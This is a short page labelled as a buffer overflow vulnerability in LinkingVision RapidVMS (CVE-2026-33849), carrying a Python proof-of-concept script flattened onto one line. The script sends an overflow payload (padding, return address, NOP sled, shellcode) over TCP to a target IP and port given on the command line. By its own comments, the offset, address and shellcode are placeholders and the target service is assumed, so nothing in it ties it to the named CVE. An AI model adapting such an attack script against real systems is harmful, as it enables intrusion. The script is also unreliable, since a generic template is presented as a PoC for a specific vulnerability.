CVE-2026-33849 RapidVMS内存缓冲区溢出漏洞

# Proof of Concept for CVE-2026-33849 (Buffer Overflow) # This script demonstrates a generic buffer overflow attack pattern. # Target: LinkingVision RapidVMS (Versions before PR#96) import socket import sys def send_exploit(target_ip, target_port): # Create a malicious payload with a large buffer of 'A's # and a potential return address overwrite (placeholder). # Offset needs to be determined through debugging. offset = 1024 ret_addr = b"\x41\x41\x41\x41" # Placeholder address padding = b"\x90" * 32 shellcode = b"\xcc" * 100 # Placeholder shellcode (INT3) payload = b"A" * offset + ret_addr + padding + shellcode try: # Assuming a vulnerable TCP service (example) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Sending payload to {target_ip}:{target_port}...") s.send(payload) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <target_port> if len(sys.argv) < 3: print("Usage: python poc.py <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))